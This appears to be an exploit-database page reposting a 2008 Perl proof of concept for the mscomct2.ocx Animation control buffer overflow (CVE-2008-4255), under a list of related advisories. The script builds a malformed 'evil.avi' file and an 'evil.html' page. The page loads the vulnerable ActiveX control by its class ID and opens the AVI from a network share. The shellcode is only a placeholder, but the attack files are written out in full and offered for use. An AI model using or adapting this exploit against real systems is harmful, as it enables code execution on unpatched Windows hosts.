MS Visual Basic ActiveX Controls mscomct2.ocx Buffer Overflow PoC

🗓️ 12 Dec 2008 00:00:00Reported by Jerome AthiasType

zdt🔗 0day.today👁 26 Views

MS Visual Basic ActiveX Controls mscomct2.ocx Buffer Overflow Po

Reporter	Title	Published	Views	Family All 19
Circl	CVE-2008-4255	12 Dec 200800:00	–	circl
Check Point Advisories	Microsoft Visual Basic ActiveX Controls Remote Code Execution (MS08-070; CVE-2008-3704; CVE-2008-4252; CVE-2008-4253; CVE-2008-4254; CVE-2008-4255; CVE-2008-4256)	11 Nov 200800:00	–	checkpoint_advisories
Check Point Advisories	Microsoft VB Common Controls Animation Object Buffer Overflow (MS08-070; CVE-2008-4255)	13 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2008-4255	10 Dec 200813:33	–	cve
Cvelist	CVE-2008-4255	10 Dec 200813:33	–	cvelist
Exploit DB	Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC)	12 Dec 200800:00	–	exploitdb
exploitpack	Microsoft Visual Basic - ActiveX Controls mscomct2.ocx Buffer Overflow (PoC)	12 Dec 200800:00	–	exploitpack
Microsoft KB	MS08-070: Vulnerabilities in Visual Basic 6.0 Runtime Extended Files (ActiveX Controls) could allow remote code execution	24 Apr 201819:15	–	mskb
NVD	CVE-2008-4255	10 Dec 200814:00	–	nvd
Packet Storm	Microsoft Visual Basic ActiveX Buffer Overflow	12 Dec 200800:00	–	packetstorm

=================================================================
MS Visual Basic ActiveX Controls mscomct2.ocx Buffer Overflow PoC
=================================================================





#!/usr/bin/perl
# Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object  Buffer Overflow (CVE-2008-4255) PoC
# You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx
# /JA
# Come to FRHACK!
# www.frhack.org

print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n";
print "Generating malicious .AVI file\n";
print "This file should be served via an UNC path\n";
print "[->] Building  evil.avi\n";

my $shellcode = "http://metasploit.com";

$FileHeader =
"\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

open(my $poc, "> evil.avi");
print $poc $FileHeader;
close($poc);

print "[->] evil.avi generated\n";
print "[->] Building  evil.html\n";

$EvilHTML =
"<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>".
"<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>";

open(my $poc, "> evil.html");
print $poc $EvilHTML;
close($poc);

print "[->] evil.html generated\n";



#  0day.today [2018-01-01]  #

12 Dec 2008 00:00Current

7High risk

Vulners AI Score7

EPSS0.65731